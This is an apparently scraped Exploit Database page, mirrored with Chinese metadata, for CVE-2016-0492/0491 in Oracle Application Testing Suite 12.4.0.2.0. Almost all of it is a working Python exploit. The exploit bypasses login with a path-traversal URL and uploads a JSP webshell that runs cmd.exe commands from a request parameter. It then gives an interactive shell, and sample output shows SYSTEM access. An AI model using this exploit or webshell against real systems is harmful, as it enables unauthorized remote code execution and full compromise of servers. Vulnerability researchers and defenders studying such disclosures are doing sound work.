Oracle Application Testing Suite (ATS) 12.4.0.2.0 – Authentication Bypass / Arbitrary File Upload

• Exploit Database
• 114 阅读

• 作者： Zhou Yu
  日期： 2016-04-13
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/39691/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106

  # Exploit Title: Oracle Application Testing Suite Authentication Bypass and Arbitrary File Upload Remote Exploit # Exploit Author: Zhou Yu <504137480@qq.com > # Vendor Homepage: http://www.oracle.com/ # Software Link: http://www.oracle.com/technetwork/oem/downloads/apptesting-downloads-1983826.html?ssSourceSiteId=otncn # Version: 12.4.0.2.0 # Tested on: Win7 SP1 32-bit # CVE : CVE-2016-0492 and CVE-2016-0491   import urllib2 import urllib   ip = &apos;192.168.150.239&apos; port = 8088   url = "http://" + ip + ":" + str(port) #bypass authentication url = url+"/olt/Login.do/../../olt/UploadFileUpload.do" request = urllib2.Request(url)   webshell_content=&apos;&apos;&apos; <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("{cmd}") != null) {{ Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("{cmd}")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) {{ out.println(disr); disr = dis.readLine(); }} }} %> &apos;&apos;&apos; boundary = "---------------------------7e01e2240a1e" request.add_header(&apos;Content-Type&apos;, "multipart/form-data; boundary=" + boundary) post_data = "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"storage.extension\"\r\n" post_data = post_data + "\r\n.jsp\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"fileName1\"\r\n" post_data = post_data + "\r\nwebshell.jsp\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"fileName2\"\r\n" post_data = post_data + "\r\n\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"fileName3\"\r\n" post_data = post_data + "\r\n\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"fileName4\"\r\n" post_data = post_data + "\r\n\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"fileType\"\r\n" post_data = post_data + "\r\n*\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"file1\"; filename=\"webshell.jsp\"\r\n" post_data = post_data + "Content-Type: text/plain\r\n" post_data = post_data + "\r\n" + webshell_content +"\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"storage.repository\"\r\n" post_data = post_data + "\r\nDefault\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"storage.workspace\"\r\n" post_data = post_data + "\r\n.\r\n" post_data = post_data + "--" + boundary + "\r\n" post_data = post_data + "Content-Disposition: form-data; name=\"directory\"\r\n" post_data = post_data + "\r\n" + "../oats\servers\AdminServer\\tmp\_WL_user\oats_ee\\1ryhnd\war\pages" +"\r\n" post_data = post_data + "--" + boundary + "--"+"\r\n"   try: request.add_data(post_data) response = urllib2.urlopen(request) if response.code == 200 : print "[+]upload done!" webshellurl = "http://" + ip + ":" + str(port) + "/olt/pages/webshell.jsp" print "[+]wait a moment,detecting whether the webshell exists..." if urllib2.urlopen(webshellurl).code == 200 : print "[+]upload webshell successfully!" print "[+]return a cmd shell" while True: cmd = raw_input(">>: ") if cmd == "exit" : break print urllib.urlopen(webshellurl+"?{cmd}=" + cmd).read().lstrip() else: print "[-]attack fail!" else: print "[-]attack fail!" except Exception as e: print "[-]attack fail!"   &apos;&apos;&apos; #run the exploit and get a cmd shell root@kali:~/Desktop# python exploit.py [+]upload done! [+]wait a moment,detecting whether the webshell exists... [+]upload webshell successfully! [+]return a cmd shell >>: whoami nt authority\system     >>: exit &apos;&apos;&apos;